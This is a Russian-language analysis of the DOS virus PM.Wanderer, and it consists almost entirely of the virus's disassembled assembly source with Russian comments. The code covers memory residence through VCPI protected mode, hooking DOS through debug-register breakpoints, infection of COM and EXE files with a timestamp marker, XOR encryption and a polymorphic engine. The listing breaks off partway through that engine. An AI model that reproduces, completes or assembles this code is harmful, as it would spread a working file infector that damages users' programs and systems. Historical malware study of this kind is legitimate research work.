
Анализ вируса PM.Wanderer
by Старый Ворчун
; File: PM_WAND.COM
; File Type: COM
; Processor: 80386/387 16bit
; Range: 00100h to 00f65h
; Memory Needed: 4 Kb
; Initial Stack: 0000:fffe
; Entry Point: 0000:0100
; Subroutines: 25
.radix 16
.386p
cseg segment para public 'CODE' USE16
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
org 0100h
; >>>> нас вызывают здесь <<<<
call start ;<00103> ;00100
;<00103> вирус-popup
start:
pop si ;тут мы
sub si,03 ;начались si
mov di,0100h ;все-таки com-файл
cld ;0010a ;уперед
mov ax,cs ;где код
push ds ;0010d
mov ds,ax ;там и данные
mov es,ax ;со стеком
push get_len ;вместо jmp
mov bx,00f0h ;антиэвристика
mov WORD PTR [bx],0a4f2h ;repnz movsb
mov WORD PTR [bx+02],0c361h ;popa и ret
mov cx,0e64h ;а длиннющий
pusha ;хороним
jmp bx ;запускаемся в PSP
;перемещаем себя в начало
;----------------Торговая марка----------------------
CopyRight db 10,'WANDERER,(c) P. Demenuk',10 ;00127
;----------------Торговая марка----------------------
get_len equ $
pop ax ;00140
dec ax ;00141
mov es,ax ;вытаскиваем MCB
mov bx,WORD PTR es:[3] ;берем свою длину в пар-ах
mov WORD PTR ds:len_par,bx ;00149
inc ax ;0014d
mov es,ax ;назад es
jmp short alloc ;00150
cut:
mov bx,WORD PTR ds:len_par ;из всего что есть
sub bx,0600h ;-24К
mov ah,4ah ;откусить
int 21h ;DOS:4a-modify memory block
;и еще раз
alloc:
;хочу осесть в памяти
mov bx,0500h ;20К
mov ah,48h ;хочу у доски
int 21h ;DOS:48-allocate memory
jb cut ;нету-сузим
mov es,ax ;es на полученный блок
xor di,di ;Load register w/ 0
xor si,si ;Load register w/ 0
mov cx,0800h ;0016d
mov WORD PTR ds:cs_save,cs ;00170
repz movsw ;переносимся туда
push cs ;на будущее
push ax ;где выделилось
push infect ;по смещению
retf ;вместо jmp уходим в блок
infect equ $
push cs ;данные
pop ds ;на новый код
cmp BYTE PTR ds:exe_or_com,00 ;COM?
jz com_inf ;да
mov ah,62h
int 21h ;get PSP этого EXE
mov es,bx ;на PSP
mov es,WORD PTR es:[2c] ;а вот и окружение
xor di,di ;Load register w/ 0
mov cx,8000h ;00192
mov al,01 ;00195
repnz scasb ;ищем ком.строку
inc di ;встаем на нее
push es ;и
pop ds ;ds тудаже
mov ax,3d00h ;0019c
mov dx,di ;0019f
int 21h ;открываем себя
xchg ax,bx ;сохраняем handle
pop ds ;ds на код
mov ax,4200h
mov dx,WORD PTR cs:LoOfs ;там
mov cx,WORD PTR cs:HiOfs ;мы лежим
int 21h ;001b2 ;DOS:42-move file pointer
mov ah,3fh ;001b4
mov cx,WORD PTR cs:d008d0 ;001b6
xor dx,dx ;001bb ;Load register w/ 0
int 21h ;001bd ;DOS:3f-read file
push ds ;001bf
push cs ;001c0
pop ds ;001c1
mov ax,4200h ;001c2
mov dx,WORD PTR ds:d008da ;001c5
xor cx,cx ;001c9 ;Load register w/ 0
int 21h ;001cb ;DOS:42-move file pointer
mov cx,WORD PTR ds:d008d8 ;001cd
shl cx,1 ;001d1 ;Multiply by 2's
shl cx,1 ;001d3 ;Multiply by 2's
mov dx,1000h ;001d5
mov ah,3fh ;001d8
int 21h ;001da ;DOS:3f-read file
mov ah,3eh ;001dc
int 21h ;001de ;DOS:3e-close file
mov si,1000h ;001e0
pop ax ;001e3
mov cx,WORD PTR ds:d008d8 ;001e4
jcxz b001f7 ;001e8 ;Jump if CX = ZERO
b001ea:
add WORD PTR [si+02],ax ;001ea
les di,DWORD PTR [si] ;001ed
add WORD PTR es:[di],ax ;001ef
add si,04 ;001f2
loop b001ea ;001f5 ;Dec CX;Loop if CX>0
b001f7: mov WORD PTR ds:d00094,ax ;001f7
com_inf:
mov ax,3567h ;как там EMM
int 21h ;DOS:35-get int vector
cmp WORD PTR es:[0ch],'XM' ;сидит ли в памяти
push cs ;восстановить
pop es ;es
jnz NotEMM ;00208 ;EMM`a нет
mov ax,0babah ;есть ли мы
int 21h ;в доске
cmp ax,0fa00h ;0020f
jnz NotMem ;мы не в памяти
sti ;ура я дома
NotEMM:
Not_EMM equ $
mov ah,49h ;освободить
int 21h ;кандидатский блок
cmp BYTE PTR ds:exe_or_com,00 ;COM?
jz old_com ;нет
mov ax,WORD PTR ds:d00094 ;00220
add ax,WORD PTR ds:d008d6 ;00223
push ax ;00227
push WORD PTR ds:d008d4 ;00228
mov ax,WORD PTR ds:d00094 ;0022c
sub ax,0010h ;0022f
mov es,ax ;00232
mov ds,ax ;00234
jmp short b0025d ;00236
old_com:
mov sp,0fffeh ;вертаем все
push 0100h ;все
pusha ;на место
mov si,WORD PTR ds:LoOfs ;берем смещение в файле
and si,si ;нулевое?
jz exit ;тогда выход
mov di,0100h ;00247
add si,di ;0024a
cld ;Forward String Opers
mov es,WORD PTR ds:cs_save ;0024d
mov ds,WORD PTR ds:cs_save ;00251
push es ;00255
push 00f0h ;00256
mov cx,WORD PTR ds:d008d0 ;00259
b0025d:
mov ah,4ah ;0025d
mov bx,WORD PTR cs:len_par ;0025f
int 21h ;00264 ;DOS:4a-modify memory block
ret ;00266
exit:
mov ax,4c00h
int 21h ;DOS:4c-terminate prg
NotMem:
call coder ;0026c
call trace ;0026f
mov ax,0de00h ;VCPI установлен?
call EMMInt ;int67
mov WORD PTR ds:int20,sp ;00278
mov WORD PTR ds:int20+2,ss ;0027c
mov di,AdrPages ;по адресу
mov cx,0004h ;положить 4 адреса(16К)
GetPages:
mov ax,0de04h ;выделенных EMM
call EMMInt ;страниц
mov DWORD PTR [di],edx ;запомнили
scasd ;DI+4
loop GetPages ;Dec CX;Loop if CX>0
mov bx,cs ;готовим
add bx,0100h ;адрес
xor bl,bl ;00299 ;буфера
inc bh ;страниц
mov es,bx ;es:di->для очистки
mov WORD PTR ds:Buf_GDT,bx ;запомнили
xor ax,ax
xor di,di
mov cx,1000h ;размером 4К
repz stosw ;буфер чист
mov ax,0de01h ;взять адрес VCPI
mov ds,bx ;ds cегмент GDT
inc bh ;чуть дальше
mov es,bx ;буфер страниц
xor di,di ;002b5 ;es:di на него
mov si,0130h ;ds:si на GDT(3 элемента)
call EMMInt ;int67
push cs ;ds
pop ds ;на место
mov DWORD PTR ds:BufPages,ebx
xor si,si ;в начало таблицы
mov cx,0400h ;1024 дискриптора
xor bx,bx ;Load register w/ 0
SetTable:
mov eax,DWORD PTR es:[si] ;в ax дескриптор
cmp eax,00 ;это дескриптор?
jnz IsDesc ;не трогаем
movzx eax,bx ;расширяем bx в eax
sal eax,0ch ;пусть bx будет адресом
mov al,67h ;01100111
;биты параметров xDAxxUWP
;D-бит мусора (как-будто в страницу записали),
;A-бит доступа(как-будто сейчас проц с ней будет что-то делать)
;U-эта страница только для супервизора
;W-в нее можно писать
;P-страница в ОЗУ
mov DWORD PTR es:[si],eax ;положить это в таблицу
IsDesc:
add si,04 ;следующий дескриптор
inc bx ;счетчик
loop SetTable ;Dec CX;Loop if CX>0
mov eax,DWORD PTR ds:AdrPages ;берем первую страницу
mov esi,eax
mov al,67h ;устанавливаем все что можно
shr esi,0ah ;получаем физический адрес
mov DWORD PTR es:[esi],eax ;кладем новый дискриптор
mov WORD PTR ds:TSR_CS,cs ;параметр
call GetUMB
sidt QWORD PTR ds:OldIDT ;сохраняем таблицу int`ов
sgdt QWORD PTR ds:OldGDT ;сохраняем гл.таблицу
mov esi,00000100h ;смещение таблицы
push es ;сегмент UMB
pop ds ;на DS
mov cx,cs ;берем код
movzx ecx,cx ;база
sal ecx,04 ;место для стека
mov ax,0008h ;1-ый дескриптор
mov ebx,0000ffffh ;предел 64К
mov dx,009ah ;сегмент 16-раз-го
;кода в памяти
push ecx ;сохранить базу
push ebx ;сохранить предел
call SetDesc ;установить дескриптор
mov ax,0010h ;2-ой дескриптор
pop ebx ;вытолкнуть предел
pop ecx ;вытолкнуть базу
mov dx,0092h ;там же сегмент данных в памяти
call SetDesc ;установить дескриптор
mov ax,0018h ;3-ий дескриптор
xor ecx,ecx ;00341 ;вверху стек
mov ebx,000000000h ;на 4К
mov dx,8092h ;установить
call SetDesc ;дескриптор
;один пропускаем
mov ax,0028h ;5-ый дескриптор
mov cx,ds ;на UMB1
movzx ecx,cx ;база
sal ecx,04 ;выровняли
push ecx ;заткнули
add ecx,10h ;смещение на 16 байт
mov dx,0089h ;доступный TSS
mov ebx,00000067h ;предел 103 байта
call SetDesc ;установить дескриптор
pop ecx ;вытолкнули базу
add ecx,00000100h ;смещение
push cs ;ds
pop ds ;на место
mov DWORD PTR ds:d00f51,ecx ;запомнили
cli ;Turn OFF Interrupts
mov ax,cs ;взяли код
movzx esi,ax ;раздули
mov ax,0de0ch ;защищенный режим
sal esi,04 ;выровняли
add esi,offset UMB1 ;
int 67h ;EMM:переключиться
jmp short $-2 ;Защищенный режим >>----------+
;----------------------------------------------------- |
OldOfs1 dw 00 ;смещение старого int1 |
OldSeg1 dw 00 ;сегмент старого int1 |
SegSS dw 00 ;сегмент стека |
SegSP dw 00 ;смещение в стеке |
;----------------------------------------------------- |
Int1Hndl: |
push bp ;грузим через стек |
push ds ;сегмент |
push si ;смещение |
mov bp,sp ;в теле обработчика DOS |
lds si,DWORD PTR [bp+06] ;ахом |
cmp WORD PTR [si],9090h ;нопы ? |
jz Nops ;да-ура |
pop si ;если нет |
pop ds ;то |
pop bp ;отваливаем |
iret ;POP flags and Return |
|
|
;<003b2> |
trace proc near |
mov ax,3501h ;взять int 01 |
int 21h ;003b5 ;DOS:35-get int vector |
mov WORD PTR ds:OldOfs1,bx ;схоронили смещение |
mov WORD PTR ds:OldSeg1,es ;схоронили сегмент |
mov dx,offset Int1Hndl ;новый обработчик |
mov ah,25h ;установить |
int 21h ;003c4 ;DOS:25-set int vector |
push cs ;003c6 |
push cs ;003c7 |
mov WORD PTR ds:SegSS,ss ;003c8 |
mov WORD PTR ds:SegSP,sp ;003cc |
cld ;Forward String Opers |
pushf ;на случай не обнаружения DOS |
pushf ;Push flags on Stack |
pop ax ;вытаскиваем флаг |
or ax,0100h ;устанавливаем TF |
push ax ;в стек его пока |
xor ax,ax ;003d8 ;данные |
mov ds,ax ;на область векторов |
mov ah,30h ;функция-версия DOS |
push cs ;восстанавливаем |
pop es ;es |
popf ;003e0 ;трассируем |
call DWORD PTR ds:[84] ;эмулируем DOS |
pop es ;восстановить |
xor ax,ax ;003e6 ;на область |
mov ds,ax ;векторов |
mov di,offset DOSSeg ;мы <----+ |
mov si,0084h ;int21---+ |
movsw ;скопировать адреса |
movsw ;обработчиков |
pop ds ;вытащили оба cs`a |
push cs ;для es и ret`a надо положить |
jmp short TraceOff |
Nops: |
mov ss,WORD PTR cs:SegSS ;восстанавливаем |
mov sp,WORD PTR cs:SegSP ;свой стек |
mov si,WORD PTR [si+08] ;устанавливаемся на DOS |
lodsw ;вытаскиваем сегмент |
mov WORD PTR cs:DOSSeg,ax ;00404 |
lodsw ;вытаскиваем смещение |
pop ds ;восстановить ds |
mov WORD PTR ds:DOSOfs,ax ;0040a |
TraceOff: |
xor ax,ax ;0040d ;на область прерываний |
mov es,ax ;es |
mov di,0004h ;int1<---+ |
mov si,0398h ;intE6---+ |
movsw ;скопировать |
movsw ;адрес обработчика |
pop es ;восстановить |
ret ;ret из trace |
;----------------------------------------------------- |
;>> PROTECT MODE ENTERY POINT <<------------------------+
;-----------------------------------------------------
mov ax,0010h ;устанавливаемся
;<ss = 0010>
mov ss,ax ;на выделенные нам сегменты
mov sp,1000h ;стека
;<es = 0010>
mov es,ax
mov ax,0018h
;<ds = 0018>
mov ds,ax ;и данных
mov esi,DWORD PTR es:OldGDT+2 ;база старой таблицу
movzx ecx,WORD PTR es:OldGDT ;предел старой таблицы
inc ecx ;вычисляем
shr ecx,03 ;кол-во дескрипторов
xor bx,bx ;Load register w/ 0
xor eax,eax ;Load register w/ 0
cycle_gdt:
add esi,08 ;следующий
add bx,08 ;счетчик
cmp eax,DWORD PTR [esi+04] ;конец ли
jnz more_d ;нет
mov WORD PTR es:OurDesc,bx ;запомнили номер дескриптора
mov ebx,00000fffh ;предел
mov ecx,DWORD PTR es:AdrPages ;то что мы выделяли
mov dx,009bh ;сегмент кода
call SetDesc ;установить дескриптор
add esi,08 ;следующий
xor ecx,ecx ;сегмент данных
mov ebx,000000000h ;4К
mov dx,8092h
call SetDesc
jmp short out_loop ;вываливаемся
more_d: loop cycle_gdt ;крутимся
jmp short $-2 ;таблица полна - висим
out_loop:
mov esi,00100000h ;ищем
nxt_page:
add esi,00001000h ;странички
cmp DWORD PTR [esi],67h ;которые в памяти
jnz nxt_page ;нет - дальше
cmp DWORD PTR [esi+04],1067h
jnz nxt_page
mov DWORD PTR es:ram_page,esi
movzx eax,WORD PTR ds:[84] ;смещение DOS
movzx ebx,WORD PTR ds:[86] ;сегмент DOS
sal ebx,04
add eax,ebx
mov DWORD PTR es:int21adr,eax
call set_brk ;стопоримся на нее
mov BYTE PTR es:Buf_GDT+2,00 ;004c0
mov eax,DWORD PTR es:AdrPages ;наша страница
mov ebx,eax
mov al,67h ;в памяти
shr ebx,0ah ;физический адрес
mov DWORD PTR [esi+ebx],eax ;каталог+таблица=дескриптор
mov di,int1_ptr ;туда мы положим
mov ecx,00000001h ;int1
mov ax,offset new_int1 ;новый обработчик
call set_idt ;установить
add di,06 ;перешагиваем старое int1
mov ecx,00000009h ;int9
mov ax,offset new_int9 ;новый обработчик
call set_idt ;установить
push es ;их
push ds ;поменяли
pop es ;местами
pop ds
xor esi,esi ;Load register w/ 0
mov edi,DWORD PTR ds:AdrPages
cld ;Forward String Opers
mov ecx,00000400h ;1024 дескриптора
repz movsd ;перекачать
movzx eax,WORD PTR ds:int20 ;в ax-адрес выхода
mov bx,WORD PTR ds:TSR_CS ;наш сегмент внизу
;cx=0
push cx ;cs:0
push bx ;в стек
push cx ;cs:0
push bx ;в стек
push cx ;cs:0
push bx ;в стек
push cx ;cs:0
push bx ;в стек
push cx ;адрес выхода
push WORD PTR ds:int20+2 ;в стек
push es ;S
push ds ;W
pop es ;A
pop ds ;P
push eax ;адрес выхода в стек
pushfd ;Push flags on Stack
push cx ;cs:0
push bx ;в стек
push 00 ;адрес
push Not_EMM ;входа в код
movzx esp,sp ;сдуть sp
mov ax,0de0ch ;00538
call FWORD PTR cs:BufPages ;перейти
new_int9:
push eax ;будем портить
mov ax,dr7 ;управление отладкой
and ax,030ah ;разрешен останов?
cmp ax,030ah ;да
jz break_ok ;далее
call set_brk ;устанавливаем точки останова
break_ok:
in al,60h ;что нажали?
cmp al,53h ;(S) ;POP_KEY
jnz old_int9 ;не то
call set_ds ;установить ds
mov al,BYTE PTR ds:state_kbd
and al,0ch ;проверяем состояние
cmp al,0ch ;оно
jnz old_int9 ;на старое
xor eax,eax ;нет
mov dr7,ax ;отключить останов
old_int9:
pop eax
jmp FWORD PTR cs:int9_ptr
old_int1:
pop eax
jmp FWORD PTR cs:int1_ptr
new_int1:
push eax ;будем портить
mov ax,dr6 ;состояние отладки
test al,03 ;0057e ;условия останова наши
jz old_int1 ;нет-на старый
test al,02 ;00582 ;перезагрузка?
jz dos_brk ;нет-значит DOS
xor eax,eax ;00586 ;да
mov dr7,ax ;все отменяем
pop eax
iretd ;и отваливаем
dos_brk:
xor eax,eax ;сбросить
mov dr6,ax ;состояния
pop eax
or BYTE PTR [esp+esp+0ah],01 ;установиьт флаг
cmp ax,0babah ;нашa ф-ция БАБА
jnz other_func ;другая ф-ция DOS
mov ax,0facch ;да мы в памяти
end_int:
iretd ;POP flags and Return
other_func:
cmp ax,3506h ;дать int6
je get_int6
cmp ax,4b00h ;запуск
jz exec_open
cmp ah,3dh ;открыть файл
jnz end_int
test al,0fh ;на запись
jnz end_int
exec_open:
cmp BYTE PTR cs:busy,01 ;качать?
je is_time ;да
pushad ;нет
call set_ds
mov es,ax ;es на ds
mov ecx,DWORD PTR cs:AdrPages ;наш адрес
xor ebp,ebp ;005d4 ;1-ый дескриптор
mov esi,00000090h
save_desc:
mov edx,DWORD PTR cs:[AdrPages+4+ebp*4]
call desc_edx ;установить новый
;сохранить старый
mov DWORD PTR [ecx+ebp*4+AdrPages+10h],ebx
inc esi
inc bp
cmp bp,03
jnz save_desc
mov esi,DWORD PTR cs:AdrPages
mov edi,00090000h ;там же
mov BYTE PTR [esi+busy],01 ;заняты
mov DWORD PTR [esi+44h],esp ;законный обработчик int21
cld ;Forward String Opers
mov ecx,00000400h ;1024 дескриптора
repz movsd ;закачать(резервируем)
mov ax,ss ;ds
mov ds,ax ;на стек
mov esi,esp ;esi на параметры
mov edi,DWORD PTR cs:AdrPages
mov ecx,00000011h ;17 байт
repz movsd ;00632 ;в стек
popad ;извлечь
mov eax,00009000h ;00638
push eax ;0063e
push eax ;00640
push DWORD PTR [esp+esp+20h] ;00642
push DWORD PTR [esp+esp+20h] ;00648
push eax ;0064e
push 00000ffeh ;ты будешь sp
push 00023000h ;00656
push eax ;0065c
mov eax,body1 ;ты будешь ip
push eax ;00664
iretd ;POP flags and Return
get_int6:
pushad
mov bx,cs ;ds
mov ds,bx ;на cs
add bx,8 ;чуть дальше
mov es,bx ;es
mov esi,offset data_49 ;si=6c6
mov bp,2
cld ;уперед
loc_26:
mov edi,90000h ;куда
mov eax,[si] ;читаем
loc_27:
dec edi ;не все ли
jz short loc_28 ;да
cmp es:[edi],eax ;нет-сличаем
jne loc_27 ;пока не равно
movzx ebx,byte ptr [si+4] ;др.адресочек
mov edx,[si+5] ;и др.байтик
cmp es:[edi][ebx],edx ;сличаем
jne loc_27 ;нет-далее
movsx ebx,byte ptr [si+9]
add edi,ebx
movzx ecx,byte ptr [si+0Ah]
add si,0Bh ;длина блока
rep movs byte ptr es:[edi],[esi] ;пока cx>0 Mov [si] to es:[di]
jmp short loc_29 ;нашли-помаемся еще раз
loc_28:
movzx ax,byte ptr [si+0Ah] ;кол-во блоков
add si,ax ;сдвинули
add si,0Bh ;длина блока
loc_29:
dec bp ;еще попытка
jnz loc_26 ;не последняя-вперед
jmp end_21 ;последняя-отваливаем
;-----------------------------------------------
data_49 dd 8132C683h ;06C6
db 0Ah ;+4
dd 9A9C4E68h ;+5
db 0Dh ;+9
db 02h ;+a
dd 568D03EBh ;06D1
db 0D6h ;+4
db 89360503h ;+5
dd 07h ;+9
db 8Bh ;+a
db 0FCh
db 11h,0D1h ;xor ax,ax
db 0E6h, 83h ;in al,83h
;-----------------------------------------------
dec BYTE PTR [bp+si] ;006e1
jnz b006e7 ;006e3 ;Jump not equal(ZF=0)
xor ax,ax ;006e5 ;Load register w/ 0
b006e7: mov WORD PTR [bp+si-2ah],ax ;006e7
shr si,1 ;006ea ;Divide by 2's
add al,06 ;006ec
xchg ax,bx ;006ee
body1 equ $
xor ax,ax ;будем искать
mov di,dx ;ds:dx на имя файла
mov cx,0041h ;max
push ds ;es:di
pop es ;на строку
cld ;Forward String Opers
repnz scasb ;ищем
jcxz no_look
jmp short ive_got
no_look:
jmp call_int
ive_got:
mov ax,WORD PTR [di-04] ;расширение
;'EX'=5845h, 'CO'=4f43h
and ax,0f0fh ;масочку
cmp ax,0f03h ;м.б. COM
jz exe_com
cmp ax,0805h ;м.б. EXE
jz exe_com
jmp call_int
exe_com:
mov si,di
sub si,06 ;перед точкой
;на 8-ом символе стоим
std ;Backwards String Ops
mov cx,0007h ;максимум (8 символов)
xor bx,bx
nxt_char:
lodsb ;взяли
and al,1fh ;маску
add bl,al ;копим
loop nxt_char
cld ;Forward String Opers
cmp bl,3fh ;это COMMAND?
jnz can_infect ;нет - заражаем
jmp call_int
can_infect:
mov ax,3d02h ;открыть для r/w
call DOSInt
xchg ax,bx ;описатель в bx
push cs
push cs
pop ds
pop es
call GetTime
mov ax,5700h ;взять дату/время файла
call DOSInt
mov WORD PTR ds:date_file,dx
mov WORD PTR ds:time_file,cx
and cl,1fh ;признак заражения
cmp cl,11h ;да?
jz close_file ;отваливаем
and BYTE PTR ds:time_file,0e0h ;нет
or BYTE PTR ds:time_file,11h ;устанавливаем признак
mov dx,2000h ;буфер
mov ah,3fh ;читать из файла
mov cx,1000h ;4К
call DOSInt
cmp ax,1000h ;мы их прочли
jnz close_file ;нет-отвалили
call ToEOF ;да-в конец файла
mov WORD PTR ds:LoOfs,ax ;схоронили
mov WORD PTR ds:HiOfs,dx ;смещение
cmp ax,0f000h ;мы умещаемся?
ja close_file ;нет-отвалить
cmp WORD PTR ds:buf_file,5a4dh ;EXE-шник
jz exe_write ;да
mov BYTE PTR ds:exe_or_com,00 ;COM
call s6 ;<0087c> ;0078a
push cx ;0078d
mov ah,40h ;0078e
mov dx,2000h ;00790
call DOSInt ;<0086e> ;00793
call ToBOF ;<00858> ;00796
pop cx ;00799
mov ah,40h ;0079a
mov dx,1000h ;0079c
call DOSInt ;<0086e> ;0079f
m007a2:
mov cx,WORD PTR ds:time_file
mov dx,WORD PTR ds:date_file
mov ax,5701h ;установить дату/время
call DOSInt
close_file:
mov ah,3eh ;закрыть
call DOSInt
call_int:
mov ax,4b00h ;вызываем обработчик
int 21h ;DOS:4b-execute prg
exe_write:
cmp WORD PTR ds:PageCnt,05 ;007ba
jb close_file ;007bf ;Jump if < (no sign)
cmp WORD PTR ds:MaxMem,-01 ;007c1
jnz close_file ;007c6 ;Jump not equal(ZF=0)
mov BYTE PTR ds:exe_or_com,01 ;007c8
xor ax,ax ;007cd ;Load register w/ 0
xchg ax,WORD PTR ds:ReloCnt ;007cf
mov WORD PTR ds:d008d8,ax ;007d3
cmp ax,1000h ;007d6
ja close_file ;007d9 ;Jump if > (no sign)
mov ax,WORD PTR ds:TablOff ;007db
mov WORD PTR ds:d008da,ax ;007de
mov eax,DWORD PTR ds:LoOfs ;007e1
movzx ecx,WORD PTR ds:HdrSize ;007e5
sal ecx,04 ;007eb
sub eax,ecx ;007ef
cmp eax,00001000h ;007f2
jb close_file ;007f8 ;Jump if < (no sign)
mov si,2014h ;007fa
mov di,08d4h ;007fd
movsw ;00800 ;Mov DS:[SI]->ES:[DI]
movsw ;00801 ;Mov DS:[SI]->ES:[DI]
xor ax,ax ;00802 ;Load register w/ 0
mov di,2014h ;00804
stosw ;00807 ;Store AX at ES:[DI]
stosw ;00808 ;Store AX at ES:[DI]
call ToBOF ;<00858> ;00809
mov cx,0100h ;0080c
mov ah,40h ;0080f
mov dx,2000h ;00811
call DOSInt ;<0086e> ;00814
xor cx,cx ;00817 ;Load register w/ 0
mov dx,WORD PTR ds:HdrSize ;00819
sal dx,04 ;0081d
push dx ;00820
mov ax,4200h ;00821
call DOSInt ;<0086e> ;00824
mov dx,2000h ;00827
mov ah,3fh ;0082a
mov cx,1000h ;0082c
call DOSInt ;<0086e> ;0082f
call s6 ;<0087c> ;00832
pop dx ;00835
push cx ;00836
xor cx,cx ;00837 ;Load register w/ 0
mov ax,4200h ;00839
call DOSInt ;<0086e> ;0083c
mov ah,40h ;0083f
pop cx ;00841
push cx ;00842
mov dx,1000h ;00843
call DOSInt ;<0086e> ;00846
call ToEOF ;<00863> ;00849
pop cx ;0084c
mov dx,2000h ;0084d
mov ah,40h ;00850
call DOSInt ;<0086e> ;00852
jmp m007a2 ;00855
trace endp
;<00858>
ToBOF proc near
;переместить указатель на начало файла
mov ax,4200h ;LSEEK
xor dx,dx ;Load register w/ 0
xor cx,cx ;Load register w/ 0
call DOSInt ;int21
ret ;00862
ToBOF endp
;<00863>
ToEOF proc near
;переместить указатель на конец файла
xor dx,dx ;Load register w/ 0
xor cx,cx ;Load register w/ 0
mov ax,4202h ;LSEEK
call DOSInt ;int21
ret ;0086d
ToEOF endp
;<0086e>
DOSInt proc near
;эмулим DOS
pushf ;Push flags on Stack
db 09ah ;FAR call in non-EXE
DOSSeg: dw 0
DOSOfs: dw 0
jnb DOSOk ;есть ошибки
mov ax,4b00h
int 21h ;DOS:4b-execute prg
DOSOk: ret ;отваливаем
DOSInt endp
;<0087c>
s6 proc near
push bx ;схоронить handle
mov ax,0ffffh ;-1
call get_key
mov WORD PTR ds:key,ax ;ключ
call coder ;кодируем
mov si,0100h ;туда
mov bp,si ;хороним
mov cx,int1_ptr-2-100h ;наша общая длина
mov di,1000h ;те прочитанных 4К
mov ax,0160h ;00894
mov bx,si ;00897
pusha ;00899
push WORD PTR ds:HHMM ;0089a
push WORD PTR ds:SSMS ;0089e
call s8 ;<008dc> ;008a2
mov WORD PTR ds:d008d0,cx ;008a5
pop WORD PTR ds:SSMS ;008a9
pop WORD PTR ds:HHMM ;008ad
popa ;008b1
call s8 ;<008dc> ;008b2
call coder ;<008ba> ;008b5
pop bx ;008b8
ret ;008b9
s6 endp
;<008ba>
coder proc near
pusha ;схоронить
mov si,body1 ;шифруемый
mov cx,00c6h ;длиной
mov ax,WORD PTR ds:key ;ключ
cod_cycl:
xor WORD PTR [si],ax ;ксорим
inc si ;дале
inc si ;дале
loop cod_cycl ;лупим
popa ;востановить
ret
;-----------------------------------------------------
LoOfs dw 00 ;008cc ..
HiOfs dw 00 ;008ce ..
d008d0 db 00,00 ;008d0 ..
key dw 00 ;008d2 ..
d008d4 db 00,00 ;008d4 ..
d008d6 db 00,00 ;008d6 ..
d008d8 db 00,00 ;008d8 ..
d008da db 00,00 ;008da ..
;-----------------------------------------------------
coder endp
;<008dc>
s8 proc near
d009ba equ 0009bah
d009f7 equ 0009f7h
d009fe equ 0009feh
mov WORD PTR ds:d000b4,di ;008dc
mov WORD PTR ds:d000b2,bp ;008e0
mov WORD PTR ds:d0009c,0000h ;008e4
mov BYTE PTR ds:d00084,0c3h ;008ea
mov WORD PTR ds:d000ac,cx ;008ef
push cs ;008f3
pop es ;008f4
sub ax,bx ;008f5
call get_key ;<00d8d> ;008f7
add ax,bx ;008fa
mov WORD PTR ds:d000a2,ax ;008fc
add di,ax ;008ff
repz movsb ;00901 ;Mov DS:[SI]->ES:[DI]
mov ax,0002h ;00903
call get_key ;<00d8d> ;00906
mov WORD PTR ds:d000aa,ax ;00909
mov ax,0005h ;0090c
call get_key ;<00d8d> ;0090f
add al,0ah ;00912
xchg ax,cx ;00914
mov ax,WORD PTR ds:d000a2 ;00915
div cl ;00918
sub cl,04 ;0091a
mov BYTE PTR ds:d000ae,cl ;0091d
xor ah,ah ;00921 ;Load register w/ 0
mov WORD PTR ds:d000a4,ax ;00923
mov al,03 ;00926
call get_key ;<00d8d> ;00928
inc al ;0092b
or BYTE PTR ds:d009ba,al ;0092d
mov BYTE PTR ds:d00d77,al ;00931
call s11 ;<00b36> ;00934
mov di,WORD PTR ds:d000b4 ;00937
call s12 ;<00b3e> ;0093b
mov bx,0a27h ;0093e
add bx,WORD PTR ds:d000aa ;00941
mov al,BYTE PTR [bx] ;00945
mov BYTE PTR ds:d000af,al ;00947
mov dl,BYTE PTR [bx+02] ;0094a
mov BYTE PTR ds:d00d78,dl ;0094d
mov bp,WORD PTR ds:d000a2 ;00951
add bp,WORD PTR ds:d000b2 ;00955
call s11 ;<00b36> ;00959
call s10 ;<00ad3> ;0095c
mov dl,BYTE PTR ds:d00d77 ;0095f
mov bp,WORD PTR ds:d000ac ;00963
call s11 ;<00b36> ;00967
shr cx,1 ;0096a ;Divide by 2's
call s10 ;<00ad3> ;0096c
mov BYTE PTR ds:d00d7a,01 ;0096f
mov WORD PTR ds:d000a0,di ;00974
call s11 ;<00b36> ;00978
shr cx,1 ;0097b ;Divide by 2's
call s12 ;<00b3e> ;0097d
mov cl,BYTE PTR ds:d000ae ;00980
xor ch,ch ;00984 ;Load register w/ 0
b00986: push cx ;00986
call s9 ;<00a2b> ;00987
call s11 ;<00b36> ;0098a
call s12 ;<00b3e> ;0098d
pop cx ;00990
loop b00986 ;00991 ;Dec CX;Loop if CX>0
mov al,40h ;00993
or al,BYTE PTR ds:d00d78 ;00995
stosb ;00999 ;Store AL at ES:[DI]
call s11 ;<00b36> ;0099a
call s12 ;<00b3e> ;0099d
mov cx,di ;009a0
sub cx,WORD PTR ds:d000a0 ;009a2
inc cx ;009a6
inc cx ;009a7
push si ;009a8
mov si,09bah ;009a9
movsw ;009ac ;Mov DS:[SI]->ES:[DI]
movsw ;009ad ;Mov DS:[SI]->ES:[DI]
movsw ;009ae ;Mov DS:[SI]->ES:[DI]
pop si ;009af
add cx,04 ;009b0
neg cx ;009b3
mov WORD PTR [di-02],cx ;009b5
jmp short b009c8 ;009b8
dec ax ;009ba
jz m009c0 ;009bb ;Jump if equal (ZF=1)
jmp m009c0 ;009bd
m009c0: mov al,0e2h ;009c0
stosb ;009c2 ;Store AL at ES:[DI]
xchg al,cl ;009c3
neg al ;009c5
stosb ;009c7 ;Store AL at ES:[DI]
b009c8: mov cx,WORD PTR ds:d000a2 ;009c8
add cx,WORD PTR ds:d000b4 ;009cc
sub cx,di ;009d0
mov BYTE PTR ds:d00d7a,00 ;009d2
call s12 ;<00b3e> ;009d7
push di ;009da
mov cx,WORD PTR ds:d000ac ;009db
mov bx,WORD PTR ds:d000a2 ;009df
add bx,WORD PTR ds:d000b4 ;009e3
mov al,BYTE PTR ds:d00d78 ;009e7
or BYTE PTR ds:d009f7,al ;009ea
or BYTE PTR ds:d009fe,al ;009ee
mov ax,WORD PTR ds:data_93 ;009f2
sti ;009f5 ;Turn ON Interrupts
mov ax,bx ;009f6
b009f8: cli ;009f8 ;Turn OFF Interrupts
call WORD PTR ds:data_93 ;009f9
sti ;009fd ;Turn ON Interrupts
inc ax ;009fe
loop b009f8 ;009ff ;Dec CX;Loop if CX>0
pop cx ;00a01
mov dx,WORD PTR ds:d000b4 ;00a02
sub cx,dx ;00a06
add cx,WORD PTR ds:d000ac ;00a08
mov WORD PTR ds:data_93,0084h ;00a0c
mov WORD PTR ds:data_94,0084h ;00a12
